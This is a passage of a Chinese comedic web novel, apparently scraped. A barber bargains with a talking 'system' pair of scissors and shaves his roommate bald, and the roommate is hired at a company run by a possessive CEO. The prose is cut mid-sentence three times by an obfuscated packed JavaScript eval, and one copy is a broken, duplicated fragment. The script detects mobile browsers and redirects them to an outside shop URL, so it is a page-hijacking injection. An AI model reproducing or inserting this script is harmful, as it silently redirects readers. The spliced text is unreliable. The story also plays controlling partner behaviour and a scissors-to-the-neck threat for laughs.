“结束?”顾浩宸在警局门口一把拽住白明轩的手,眼里满满的志在必得,“明轩,如果你愿意乖乖待在我身边,那什么都不会发生。你为什么要离开呢?” 白明轩想要挣扎,但他那点力气在顾浩宸眼里也不过是无畏,只会激起他内心的不满,“顾浩宸,你弄疼我了,你能不能放开我。” “我为什么要放开,你是我的,白明轩,就算你逃到天涯海角,你也是我的。别想着逃走,后果你承受不起。” 呵,还为什么要离开。 留在你身边干什么,图你挥起的铁拳,图你蛮不讲理,还是图你抠抠搜搜啊。甄信总算有时间拿出自己口袋里头的玩意儿仔细端详——你看看这大金表,上头还镶着钻呢,一看就富贵。名牌,镶钻,就算放到当铺或者二手店也是绝对的紧俏货,这玩意儿可是只有配货才能拿到的好东西。 这表不得起码卖个万八千的?一晚上直接达成一年营业额,这活儿也不是不能干下去,你说是不是。 但凡能有个百分之多少的利润就足够让人铤而走险了,何况他现在这利润爆表啊,越看越让人觉得心里头高兴,实打实的高兴,甄信一边看一边赞叹,“这表可真漂亮,我活那么大还从来没见过这么好贵的呢。小白哥,你手上好东西肯定比我的更多,也不知道什么时候我才能长长见识。” 顾浩宸冷哼,那不屑几乎要从鼻孔里喷出来,“明轩才不是你这种死要钱的性格,他从来不在意这些外物,比你……”那鄙视几乎都要从眼神里倾泻出来。 嘿——他这暴脾气。 他市侩怎么了,嫁汉嫁汉,穿衣吃饭,他找个伴侣不要求什么,情绪价值和金钱至少都得给其中一个吧。难道面前这个白明轩还真是过来做慈善的?要么那顾浩宸技·术相当不错,让人欲罢不能,流连忘返?但这也不对啊,看他那臭屁的性格,哪里是什么会伺候人吧,不把人折腾死就不错了。 所以——还是猪油蒙了心吧,恋爱脑竟然恐怖如斯。 甄信可是自诩正义使者,就看不惯这种把剥削当成理所应当的行为,直接把话挑明了,“哟,这礼物还得硬要才送啊。我可没从白哥身上看出他是什么有伴侣的人,身上那素的,和雪洞一般。戒指项链手镯手表衣服鞋,什么都没有。恋爱谈了就得喝西北风去啊,这事我倒是头一次听见。果然越有钱的人就越抠,还把埋汰当正常了。” 顾浩宸所有话都堵住了,他没办法拿其他人撒气,只能拽过白明轩,肆意撕咬着他的唇,仿佛这样就能把心里一切愤懑全都发泄出来。 “就这——”那该死的声音又出现了。 甄信抱拳就在路边看着现场直播,还不忘点评两句,“就这?我还以为能看到拿钱砸死人的经典场景,结果……就这?”怎么了,现在通货膨胀,霸总那些拿钱砸死人的剧情也全都消失了?作为观众,他承认自己是土狗,申请把这些老套场景再搬上来。 顾浩宸本来打算过去给那个家伙一个终身难忘的教训,但嘴上留恋的柔软太温柔,让他不断地往下沉沦——明轩,明轩……这是他日思夜想的人,只有把他抱在怀里,他才能感觉自己是真实存在的。他真的不能失去他,哪怕只是一个可能性依旧让他五脏俱焚。 刚开始还是轻吻,很快变成发泄般的啃噬,直到其中一方受不了将他彻底推开。 白明轩捂着自己嘴唇,不知道事情为什么会变成这样,明明——明明——他早就打算好了,即使顾浩宸可以得到他的身体,但也永远得不到他的心,但这该死的身体,为什么还会因为他的靠近欢呼雀跃。 被骤然推开,顾浩宸的脸色瞬间变黑,无数不好的想法又一次充斥了他的脑海,“白明轩!你又一次推开了我,这是为什么!难道你就难免铁石心肠,一点都不愿意在我身上停留吗?!” 啊,又来了,他都不会累的吗? 这边是经典爱情片,旁边的观众甄信有点待不住了。去掉经典的打脸撒钱环节之后看着多少有点意兴阑珊,不是,都是狗血文了,都不能让他现场看一个无数钞票从空中纷纷扬扬落下的场景吗? 不是吧。 这最高·潮的爽点都没了,故事还有什么意思。不如回家睡大觉不是。 甄信叹了口气,从两位深情拥吻的片场路过,出发向着自己悲催理发店。刚刚打扫好的卫生又要再来一次,而且在这种小破理发店里头,他和某把剪刀更好进行一下深入的battle,明确一下双方的责任和意图。 他刚踏进那小店面,脑海里忽然传来一阵波动,熟悉的提示音响起。 [已兑换精致剪刀套装*1,店铺基础装修*1,在一周内发放到位。]下一秒,他手机上迅速发来两条扣费短信,刚刚充足的银行卡又剩下了可怜的两百五毛八。 那他这一晚上到底在兴奋什么,不就是一朝回到解放前? 人在极端愤怒的时候真的会冷静下来。甄信默默从破烂抽屉里抽出剪刀,对准了自己脖子,“对了,我听说,有些东西不是有器灵嘛,用鲜血来浇灌器灵的效果特别好,今天就让我成为这第一人吧。” [等等!]剪刀迅速飞起,脱手而出,一下和甄信拉开了距离,[我们可以坐下好好谈谈。这不是我擅自扣费,是店铺开启之间需要的基础运营资金。甄哥你真的很厉害,一般来说,第一年都是需要负债的,没想到你第一年就打成了一年的营业收入。] 噗——啪—— 谄媚的系统直接在他大脑里放了一场烟花,聊表心意。 甄信根本不吃这套,掰着剪刀跟它掰扯,[把你的烟花拿走,我想要我的钱回来。你知道十六万在这个小破地方的购买力有多少吗?可以让我不干活,舒舒服服过五年,而现在,我什么都没有了,只剩下一点破装修,加上一套破剪刀,这玩意儿到底有什么用?] [这是真正独家定制的大师级剪刀,单独一把就需要八千,这是看在我们宿主份上特意打了八八折,否则价格会更贵的。上面还特意刻了你的名字呢。] 整套剪刀设备插在高档黑色包里,一打开就能看见里头寒光闪闪,看一眼就知道这剪刀确实相当不错,拿来剪点东西相当趁手。 甄信拿出一把对着灯光仔细看着,锋利刀口闪着寒光,简直可以说是让人目眩神迷。脑海里有个聒噪东西殷勤念叨着,[您看看,这剪刀确实相当不错,我可没有坑你,不要用以前的目光看待现在的问题嘛。我们把思路打开,换个角度思考或许能看到新天地不是。] 这把新剪刀朝着某个脆弱的地方越来越近——又放在了脖子边上。 [刀下留人!有事好商量!]剪刀忽然思路无比清晰,迅速做出承诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299548|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,[我错了,我大错特错,我保证,以后绝对不擅自动您的钱,所有扣款项目都和您商量。] [我们之间关系还没到这程度,叫什么您啊,无端把人喊老了,喊我甄老板。小剪啊,以后这店里头里里外外你得干起来,既然你能飞起来,那打扫卫生这些是不是不在话下,我觉得有句古话说的不假,不劳动者不得食。你整天就在抽屉里躺着怎么行呢,得多锻炼锻炼。] 此时谈判流程彻底掌握在甄信手上,哪怕剪刀再不愿意,不也得听从甄信摆布,只能点点头。[好的,老板。] [那就上工吧,这里头没打扫好,你就不用回来了。我知道你不用这个身体也能回来,把这里一切都处理好,小剪,我需要看看你的能力和价值。] 让一把剪刀搞卫生实在是天方夜谭。但是刚刚那个扣费真的有一点问题,剪刀自己默默扣下了5%的手续费当做自己私房钱,现在它只能忍痛把这点钱拿出来请个打扫阿姨把店里面弄好了。 它小小的脑壳怎么也想不明白,事情怎么就会变成这样呢?那些出去当系统的前辈都说,自己跟的宿主很有上进心,每天跟着吃香的喝辣的,它怎么就遇到了一个这么——无赖的呢。什么东西都没有,还把自己都搭出去一块儿跟着干活,到底是哪儿不对。 现在还不能退货,它难道不觉得后悔吗?它也奇怪呢,一般人听说自己被系统砸中不都是欢呼雀跃,怎么到它头上就如洪水猛兽一般,唯恐避之不及。现在还在睡觉,怎么就那么多觉好睡?它还不能抗议呢。 甄信倒是睡了个好觉。 别人文科生毕业季等着考公考编当文员,他直接在宿舍里头睡个昏天黑地,他本来想着自己出去开拓新天地,万万没想到直接来了个把剪刀给他决定人生新赛道。 一年房租交了,装修家具这些都搞定,那他还愁什么,搬进理发店美美开始混吃等死。大头都已经花出去了,他自己一个人吃饭还能花上多少,不过——他是不是得练练手,这店铺马上要开业了,他还一个头都没剪过,是不是有点太松弛了。 转来转去,到底哪个倒霉蛋愿意当这个试验品,不,呸,参与这个伟大事业呢? 刚巧这时候,同寝的罗荣在门口喊他,“甄信,你要我帮你带饭吗?我刚好要去食堂,要吃的话发个消息,我帮你一起买了。” “要要要,我要个大排饭。”甄信迅速点单,感动在胸膛里回荡着。你看看罗荣,多给力啊,这份大恩大德,等同再造,简直是义父在世。 离别在即,那可不是得给他这义父一点微不足道的福利,聊表心意不是。罗荣刚吃完饭,想着顺带把寝室垃圾带下去,他自己再去图书馆查点资料,但人还没起身就被甄信按住了,“荣哥,那么着急出门干什么,小弟最近刚得到一些神兵利器,帮你这刘海略微修剪一二,岂不是一件美谈?” 罗荣直觉告诉他肯定有什么不对,但还是被甄信按在了凳子前,胸前直接被围上了一块白布,甄信的声音在头顶响起,“荣哥,你放心,我肯定不在你身上瞎搞。万一我翻车了,你这理发钱绝对我出,保证负责到底。” 此时不就是人为刀俎我为鱼肉吗?罗荣只能老老实实坐在原地一动不动。 甄信大胆动剪刀,相当潇洒地直接一剪刀下去。不过是小小理发,不就是顺手拿捏了嘛。 4. 唯一的爱情(4) 也不知怎么的,甄信手腕子一抖,这剪刀就顺着罗荣头毛往上,来了一个大斜剪。哦豁,和在他头顶开了扇斜天窗差不多,真是震撼人心。 要死要死,第一下就把刘海搞完蛋了,接下去第二步要怎么办? 不要慌,甄信,想想那些捅了大篓子的家伙,你不过是把刘海剪遭了,这些都是小事情,只要你能稳住,没有什么过不去,深呼吸——就算开局不尽人意,你还是能有办法逆转结局,触底反弹的。 甄信换了把剪刀,换了个位置,在罗荣头顶再剪了一刀——明明手也没抖,但这位置是不是好像是稍微往下了一点?现在看着头顶有点凹凸不平。 “荣哥,我突然发现一件事,你脑袋好像不太平唉,好神奇。荣哥你小时候没有认真睡扁头吗?” “脑袋凹凸不平?”罗荣马上发现事情有哪儿不对。甄信就是给他稍微修一下头发,哪里知道他脑袋凹凸不平,难道——“不对吧,甄信,你是不是把我脑袋顶上剪呲了?甄信,你把镜子拿过来让我看看。” 人与人之间的信任竟然脆弱至此。 甄信把罗荣怀疑的爪子往前一推,“唉——荣哥,我们都同寝四年了,你还不相信我的人品吗?你再这样我要伤心了。” 就是因为和你认识那么久才不相信啊。我罗荣不算什么好东西,你甄信难道是什么正人君子吗?活脱脱一个睚眦必报的讨债鬼。要是欠了你这家伙一星半点的,就算跑出去两万里也得追回来给个印象深刻的教训。 总之,这家伙现在说的话,他是一个字都不相信。“甄信,你现在就把镜子给我拿来,我看看你到底把我折腾成什么样子了,不然,我现在就揍到你脸上桃花开!” 都是一个寝室,抬头不见低头见,干嘛那么狠心,不过就是一点头发而已,没必要和他计较对不对。 甄信很想要理直气壮地怼回去,事到临头还是怂,小心翼翼地把镜子递过去。“那个,我把镜子给你,但是,我丑话说在前头,你看见了不能生气,要顾惜我们之间的友情,好不好。” “你要是现在不给我看,我们之间的友情马上破裂当场,甚至你的人都得碎成一块一块的。”罗荣捏紧了拳头,试图让自己的声音听起来和善些,“我亲爱的小甄信,你听听我现在的心情好吗?” 不好,相当不好,感觉下一秒就打算把他锤到墙里面去那种大事不妙。 识时务者为俊杰,甄信立刻拿起镜子端到了罗荣面前,还不忘给自己找补两句,“我觉得一开始是没问题的,只是在中间,稍微遇到了一点点小波折,我想最后结果应该还会相当不错的。只要给我一个补救的机会,我肯定能搞定。” 斜插的刘海,狗啃过的头皮,就算罗荣暂时把自己双眼都闭了起来,眼前这种情况也不能算是没问题吧!“甄信,你到底干了什么,我明天要去面试,现在全都被你搞砸了。你知道顾氏集团到底有多难进吗?”罗荣一声呐喊,那铁钳般的大手就落在了他的脖颈处。 今天他就要在违法犯罪边缘走一遭,好叫他尝尝自己的厉害! 顾氏?哪个顾氏,他们这里顾氏集团很多吗?不会那么鬼扯的吧,他就是随口一说,竟然直接被他给命中了。这种时候就不要讲究这些巧合了,简直让人汗毛倒竖。 但人还是要充满希望,甄信打起精神,努力再确认一次,“荣哥,你确定真的要去顾氏集团面试?你觉得这公司有门?” 要是他想的那个顾氏,就总裁颠成那种样子,这公司迟早要完,还不是得马上逃跑找下家啊。但这事还真得从几个方面来考虑,甄信看到的是这家公司老总相当不靠谱,但在罗荣看来,顾氏集团可谓是蒸蒸日上,公司员工五险一金都有,算是毕业新生相当不错的选择。 一听这个问题,罗荣就相当警惕,“甄信,你问这个问题干什么,你不会是打着自己偷偷把我精心选好的工作卷走的打算吧。即使你是我四年同学,在工作方面,我也是绝对不会退让的!” 这画风一下就转到纯粹的竞争,分明是在温暖的室内,无端却起了肃杀。不好,这个问题要是不好好回答的话,绝对会完蛋。 甄信往后撤了一步,和罗荣拉开距离,“怎么会呢,我打算回家继承家族事业了。就是家里头有个小店,我要回去帮忙,所以我不用找工作。但是这两天在外面,我听到一些传闻,出于我们之间的情谊,我可是专门把这独家消息告诉你。” 啧啧啧,没想到还碰到一个不领情的。 “真的?”罗荣仔细看着自己的头发,眼里满是怀疑——都把他头发搞成这种样子,你看他信吗?是不是太把他当成傻子糊弄了?至少也得找个说得过去的正当理由吧。 糟糕,没糊弄过去,那没办法了,只能启用备用方案了。甄信立刻道歉,“对不起,荣哥,我真的是不小心,求你给我最后一个机会,我一定给你弄一个超有男人味的上天入地绝无仅有微分碎盖,让你看到我的实力。” 完全没有好一点,只会更加担心好吗? 罗荣试图起身挽救自己在危险边缘的头发,迟来的危险终于朝他发出警报,“那个,不用了,我忽然感觉对自己现在发型挺满意的。要不就算了?” “没事,很快就好,马上完成。”甄信已经打开了电推子,不由分说直接往罗荣头顶来了一记狠的。只听刺啦一声,罗荣头顶平平整整被开了一道辙。 寂静,是此时的寝室。 风吹过毫无遮掩的头顶是罗荣此时的忧伤。都是他的错,他一开始就不应该答应甄信那种不靠谱的提议,也不应该在甄信说顾氏集团坏话的时候直接否定他。他怎么忘记了,甄信手上可是握着自己的珍贵头发,他和他的宝贝亲密无间地相处了无数个日日夜夜,现在却要眼睁睁看着它们离自己远去。 这种悲伤到底要和谁倾诉才能停歇。 归根结底,一切都是他自己的错。罗荣心如死灰,麻木地看着地上属于自己的头发片片落下。如果一开始他不知道,或许就不会这样的悲伤,但他终究还是到了如今这地步。 该走的东西就不要挽留,不过是徒增伤悲而已。 既然罗荣不打算动作,甄信总算是找到了点手感,刷刷几下就直接把面前这个圆脑袋剃秃了,保证上头锃光瓦亮,脸和脑袋都能一块儿洗了。 到这时候,甄信竟然还有功夫和他打趣,“荣哥,真的,我这手艺不是吹的,你到时候去顾氏集团应聘,肯定是水到渠成,直接拿下。这可是你明天的幸运头,你信我。” 信吧,不信还能怎么样,他失去的头发还能回来吗?他就算现在把甄信头发剃秃又能怎么样呢,能改变他面试的结果吗?能让甄信痛苦吗?他甚至会和自己来个快乐光头二人组吧。 所谓报复,就是得踩在甄信的弱点上才叫真正的报复成功,做一些无关痛痒的事只会让对方愧疚减少。甄信,莫欺少年穷,我们且看将来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299549|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 带着对自己头发的无限怀念,罗荣进入了梦乡,或许在梦里,他那些宝贵头发会记得来寻他这个主人,他们还能幸福快乐地再续前缘。 几乎是一晃眼就到了早上,甄信相当殷勤地帮罗荣打点好一切,就连西装都帮他熨平整了,就等着作为陪考一块儿到顾氏集团见见世面。 事出反常必有妖。罗荣下意识往后退了两步,“甄信,你不会偷偷在我口袋里做了什么手脚吧,或者把我的西装不小心划了?现在还早,无论什么事情都能补救,只要你说,我都能原谅你的。你不要等我到了面试现场再告诉我具体哪里对不起我。如果这样,我们之间是真的没可能了。” “怎么会,你到底把我当成什么人了。”甄信真是冤啊,他本将心照明月,奈何明月照沟渠,怎么就那么不相信人呢。“我真没什么阴谋,这不是昨晚上把你头发整坏了,我想着弥补一二嘛。放心,今天我就是你的专属后勤小助手,指哪打哪,绝无二话。荣哥,我们的专车已经约好了,马上就到楼下,我们一块儿出发去面试。” 这可是他斥两百巨资约的车,这个月剩下的生活费可都堵在这上头了,只许成功不许失败。 罗荣虽然半信半疑,但他自己也想要早点到达面试场地,免得发生什么意外情况,也就半推半就跟着甄信上了车。这专车服务态度果然好,一路开车相当平稳,让他在路上还有个好状态。他们提早四十分钟到达面试场地,虽然来得稍微有点早,但早点坐在这,人心里也安稳一些。 罗荣点点头,算是接受了甄信的示好。仔细想起来,甄信这四年作为室友确实做得相当合格,没必要对他如此苛责。他仔细观察陆陆续续到达的竞争对手们,他们和自己一样,一个个都西装革履,想来是在外表上下了最大努力,就是想要给面试官最好的印象。 更有甚者连身上的气味都下足了功夫,一走动起来,香风铺面,他都难以克制地朝那个方向多看了几眼。 就在这时,门口传来一阵吵闹,一堆人簇拥着两个熟悉的人从门口走进来——豁,这不是顾大总裁和他唯一小娇妻嘛。即使在这种阳光明媚的早晨,他的小娇妻依然愁眉不展,简直是让人心都碎成一片片了。 总裁亲临,这可是一个好机会。 还没坐定的几个机灵面试者特意往前走了两步,把自己精神的外表放在更显眼的地方,也跟着其他员工一起大声打招呼,“总裁早上好!” 刻意练习过的播音腔简直是人群中最为出类拔萃的存在,一下就让顾浩宸看了过来。 只要被总裁看见了,接下去平步青云岂不是探囊取物?白明轩也跟着看了过去,脸上勉强挤出一点笑容,“今天有很多新人,挺好的……”他们就像自己刚来的时候一样有活力,还没有失去对人生的信心,至于现在……他怎么都行,无所谓了。 这条命留着,也不过是走一步看一天了。 这话一出,又戳到了顾浩宸的肺管子,但在众人面前,他还得强行按捺着自己的脾气,眼睛却直直朝那边新人刺去,立刻就发现了排在最前面花枝招展的那些人。西装是精心熨烫过量身定制的,发型是大早上起来现吹的,竟然还有隐隐约约的香水味飘过来。 他们到底是过来上班还是过来当花孔雀的! 顾浩宸咬牙,几乎是挤出来一道命令,“丁助,你去看看那边,爱打扮的一律不要。”他们招人是进来干活的,难道是让他们在公司钓人的吗? 5. 唯一的爱情(5) 癫公,你要不要听听自己在说什么。勾·引?他们就是穿个西装过来面试而已,又碍着你了?你要是那么嫌弃,别把自己宝贝带来公司啊,两个人在家里幸福生活不就足够了?来公司上班不穿西装穿什么,拖鞋T恤大裤衩?不对,穿大裤衩你是不是还得嫌弃别人不检点,不知道身上衣服多穿点。 你怎么不干脆在公司外头贴一张告示,帅的不要,丑的欢迎进门。 每次得罪人的活儿都我干,还说让我自己把握,我把握个头,最后不就是我里外不是人。你怎么就不知道做个人啊,狗东西。 丁助在心里骂上天,脸上依旧是职业笑容,“好的,老板,我现在就和人事部的强调。早上例会快要开始了,您请先移步。”滚去开会吧,活爹。 现在牛马得去干什么呢,把人群里头穿得太好看的牛马给先淘汰出来。 听听,这话像是人话吗?听到的人都想要托马斯大回旋扇他两个大巴掌,只听说过选人才的时候看能力,谁见过长得好看不要的,早知道他要碰到这样一个老板,他不如一根面条吊死自己来得更快,这叫一了百了。现在不行,家里养着可爱小宝贝,就算是为了家里可爱汪他也得打起精神努力继续下去。 丁铭顶着一张扑克脸来到这些满怀希望的年轻人面前,虽然知道有些人已经注定要被淘汰,但也至少得找个理由吧,总不能因为别人左脚踏进公司直接拒绝吧,那他们集团肯定会成为被网暴的对象。虽然每年集团都有很多公关费用用不完,但有结余是好事,也没必要非得用得一干二净吧。 不过,换个思路想想,他们不需要淘汰很多人,他们只需要在集团本就不高的录取率中选中自己需要的人才。这种事情只能他自己来做——不然那些人事怎么搞清楚顾扒皮脑子里想的到底是什么。 他不要985,也不要211,就要一个让所有人都彻底没兴趣的男人。从这个角度来说,只要你这个人还存在优点,总不能避免让人发现你的闪光之处吧。这玩意根本就是一个无解的难题。 就在这时,他看见了——人群中,闪闪发光的卤蛋,不,这不是光头,这是拯救他人生与水火之中的灯塔!白先生就算眼瞎了也不至于喜欢一个锃亮的光头吧!当然这不是说光头有什么不好的意思,只是从个人爱好方面考虑,光头肯定是绝对的少数派。 丁铭毫不犹豫地朝罗荣的方向走去,“你好,这位先生,你觉得顾氏集团怎么样?” 特助直接问自己问题,对集团印象是最基本的问题,特助会问如此小儿科的问题吗?不会。所以,他明面上问的是集团印象,但其实是在考察你对公司的了解。罗荣,你的机会来了。 他强行按捺住自己内心的激动,急忙握住丁铭的手,“我一直很向往顾氏集团,自从顾氏精准判断时代风口,从房地产起家……我觉得顾氏集团就是我心中向往的企业,我想要为这样有社会责任感的企业奉献属于自己的一生,希望领导能看到我的殷切希望!” 场面一片寂静——啊,糟糕,是擅自自我发挥太多了吗?罗荣有些后悔。 但是一想到自己被特助亲自考核,罗荣就忍不住多发挥了一点,有些话跟不要钱似的倾泻而下,怎么都忍不住。他也知道自己有时候说话老气横秋,一点没有年轻人的活力。 可他都这样活了这么多年了,想让他改一时半会儿也改不了了。他试探着偷看丁铭脸色——上头没有任何表情,这样一来,让他更加忐忑了。 不会因为自己多说的这几句话直接把工作给弄没了吧。 丁铭搓搓胳膊,把自己身上起的鸡皮疙瘩全都搓下去——现在小年轻都走这种路数了吗?虽然这人话说起来有点恶心,但有件事还真不假,这里头最能用就是这家伙。 白先生绝对不喜欢这种爹味十足还是秃头的没劲家伙,这家伙放上去保管安全。在这里工作之前,他可从来没想过,爱打官腔,爹味足,这些标签竟然有朝一日还能成为优点。 这个世界果然是疯了,毁灭吧。 不过,换个角度想,这个家伙说不定能给自己当个助理,给那癫公干活的工伤总不能永远只有他一个人承担,今天就让他上岗送文件去。 看着这么一个形象总不至于那个癫公还继续发疯吧。他要是这样还能疯起来,那就是彻底没救了。他还继续在这干下去干什么,早点收拾收拾回老家种地,也好过这种朝不保夕的生活。 丁铭立刻下定决心,指着罗荣吩咐道,“你,跟我来,今天就过来熟悉一下助理岗位。” 不是,他就这样被录取了,那么草率的吗?都不需要对他的能力进行全方面多方位考察?罗荣愣愣地跟在丁铭后头往前走,仿佛忽然巨大惊喜砸中,骤然暴富的普通人,一整个无所适从,手脚都不知道该往哪儿放。其他应聘者羡慕的目光恨不得把罗荣扎穿,生动演示了什么叫如芒刺背,骨鲠在喉。 大家都是一起来应聘的,他条件也就一般,怎么他运气那么好,直接被特助提溜过去当助理了。谁不知道,特助只是名义上挂着助理名头,实际上大家都得尊称一句X总的。 被直接要走当助理和直达天听有什么差别! 甄信由衷地叹了一口气——他就知道,这个集团果然不正常,周围的人都不清楚,他却是渐渐掌握了这家公司的本质——果然,能力并不是唯一的决定项,还有你能不能在这些员工中靠自己外貌杀出重围! 等罗荣回来,高低得让他给自己磕一个,可是直接带着他起飞,到达另一境地的开山祖师爷。 没有他昨晚上那神来一笔,他现在还不得其门而入呢,给点尊重是不是理所应当的?都是同学,抬头不见低头见的,他也不贪心,一点都不多要,就那个顶楼旋转餐厅搓两顿,总不过分吧。 这个点,甄信本来应该走的,但是外头骄阳似火,里头温度清新怡人,他站在这儿略微蹭会儿空调应该不会有人过来赶他吧。这也是没办法,他那小破理发店里头该装的东西都还没有到位,他现在真的是看哪儿都眼热地紧。只是他这么一转悠,倒是让他发现了致富新路径。 你看这么空旷的大厅,没有便利店,咖啡店,更没有理发店,完全是对空间的浪费不是。要是他能在大楼旁边开一家小小的店,顺便开通外送业务,那还不是客似云来,走上人生巅峰也是分分钟的事。 但这个美好想法也只能截止在大脑的幻想,想想也知道那边公司不可能让甄信这个陌生人赚到这笔钱的,他也就是在脑海里畅想一番。 罗荣倒是真的觉得自己好像开始走上人生巅峰了,看着电梯楼层一点点往上,好像他的人生也翻开崭新一页似的,是他以前从来没想过的展开,有朝一日他竟然能站在离大老板那么近的位置。 即使他知道自己很唐突,但还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299550|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要多问一句,“那个,丁助,虽然很冒昧,但我还是想要知道,公司选择我的理由到底是什么。当然我知道,不能干脆公司的判断,但就我个人而言,我还是非常……” “发型。”丁铭直接回答了他这个问题,“如果真的要找个理由,大概就是你的发型吧,你的发型很安全,记得保持好。” 万一要是让那个癫公发现了你还有什么特殊之处开始发疯,那他也救不了你。 发型?不是,这算什么原因啊? 罗荣心里满是疑问,但他也知道,身为新进职员肯定不能对公司决定有任何置喙,他只能把这个想法悄悄藏在了心底,等着下一个打开的时候。总有一天,等他们足够相信自己的时候,他总能找到问题真正的答案,他是如此确信着的。 要说人运气来了还真是挡不住,他们两个刚上楼梯正面碰到了顾浩宸和白明轩。 他们两个拦在了走廊中间,旁若无人地吵架。简直是一点退避的空间都不给他们两个。问题是这个电梯刚好是在走廊尽头,半点遮挡都没有,他们总不能直接退回电梯里面,这样动作更大了有没有,简直就是把顾浩宸的脸面往地上踩。 丁铭只能带着新过来的小喽啰直接电梯门口罚站。他一言不发,罗荣也立刻明白了现在的情况——是要把自己装作不存在是吧。他跟着研究地毯花纹,你说,这大公司就是不一样,铺个地毯上头的花纹都相当考究,真的是非同凡响。爱了爱了。 罗荣一低头,头顶那锃光瓦亮更加明显,反射着窗外灿烂阳光,简直是最好的聚光灯。让这大灯一晃,白明轩实在没有心情和顾浩宸继续吵下去,“不管你到底怎么想的,顾先生,我真的对其他人没有兴趣,也不想展开一段新的恋情,只是现在我都已经筋疲力竭了。” “筋疲力竭?”顾浩宸逼近一步,明明是居高临下,但所有人却都从他脸上看到明显的脆弱,“难道和我在一起就让你那么难受吗?我那么爱你,你为什么不能多爱我一点。我的要求高吗?” 白明轩让那个白光晃得睁不开眼,鸦羽般严密的睫毛一眨,大颗大颗的泪水就顺着滚下,看得顾浩宸不由得心头一颤,他忍不住开始反思——难道刚刚的自己又让明轩伤心了吗? 明明,他只是想要探寻让两个人都幸福的方案,不知为何却总是将人越推越远,他只是想要一份纯粹的爱情有什么错。他有些后悔,但一如既往的面子却让他说不出半个道歉的字,兀自在那儿站着。 白明轩实在不想在这原地站着,无端叫人看笑话,他猛地推开顾浩宸,“抱歉,顾先生,我想要下去透透气,一会儿就好,请你……请您……不要跟过来。” 他竟然和我说您,我们不应该是世界上最互相信任的两个人吗?什么时候开始,他们之间竟然到了如此陌生的地步。顾浩宸呆立当场,整个人仿佛化为一座雕塑,只能看着自己心里记挂的人步步远去。 好机会! 丁铭迅速把自己带来的文件塞到了顾浩宸手中,一板一眼地开始汇报,“顾总,这是今天送到的集团季度报表,需要您审核一下,股东都已经到了,就等着您主持会议。这是我今天新招的助理,从今天开始会帮我分担工作……” 短短几句话就把上午要做的事情全都说清楚,顺便介绍了罗荣,这就是金牌特助的实力吗?决定了,从今天开始,丁助就是他进步的榜样! 6. 唯一的爱情(6) 一听见自己被点名,罗荣赶紧上前站着丁铭身后。他也知道,自己刚刚撞破了老板大瓜,现在最应该做的就是把自己的存在感弱化,最好当做不存在,愣是憋住了一句多余的话都没说。 到底过来谁当助理顾浩宸全都不在意,他只有一个要求——现在来的这个助理穿着一件勉强合身的西装,个子不高,还有点小肚子,一看就是学校里那种成绩一般的木头。再看他光秃秃的头顶,浑身上下都写满了两个字——懦弱。 明轩绝对不会喜欢这种类型的。 拿来当个助理使使就行了,其他……就算借他三个胆子也是绝对不可能的。 顾浩宸内心隐秘的需求被满足,倒是头一次没有口出恶言,只是警告了丁铭一句,“这是你自己挑的助理,不要到时候觉得他不行又过来找我哭诉,自己的选择就自己撑到底。” “当然,顾总,请。”丁铭赶紧拉开会议室大门,把这尊大佛请进去。今天可是集团会议,这家伙要是在外头发疯,他们集团的脸面就丢尽了。 只要能保住工作,其他都是次要,被这不要脸的死老板骂两句能怎样,身上又不会少块肉。打工人的自觉就是把自己的灵魂放在金钱后头,每天回家数着自己当月工资,他就觉得自己还能挣扎个几年。 至少也得把自己退休工资赚够了才辞职不是,现在自己离职没有N+2,也没有补偿。人生在世,吃什么都绝对不能吃亏。他就在这和傻逼老板耗死。 罗荣愣愣地跟进了会议室,他也不知道自己现在到底应该做什么,但跟在丁铭身后肯定没有任何问题。他牢牢跟着自己在公司唯一的依靠,拿出笔记本手忙脚乱地记录。虽然不知道自己到底在忙什么,但自己表现地够忙,总不至于现在就来骂他不够上进吧。 职场新人的要求就是那么低。 抽空他还不忘看了一眼顾浩宸的脸色——漆黑如墨,拼命按着手机。是在想刚刚离开的那个年轻人吗?因为他们之间吵架了?没想到即使大老板也没有断绝七情六欲,还是会因为和另一半吵架魂不守舍。 想到这一点他忽然感觉自己心里安定了不少,仿佛自己心里什么向往的对象忽然回到了人间似的。 大家都是普通人,就算是在大老板旁边工作好像也没什么了不起。平常心,平常心。罗荣,你就是运气好,一开局就是个不错岗位,你可不能飘啊。要是万一被开除了,那可就变成一辈子丢人的大事了。 白明轩内心也并不平静。 他知道自己现在这个举动并不恰当,虽然自己一时冲动拥有了片刻的自由,可是等会儿,这份自由马上会变成新的禁锢,顾浩宸等会儿会大发雷霆吗?好像这些都无所谓了吧。 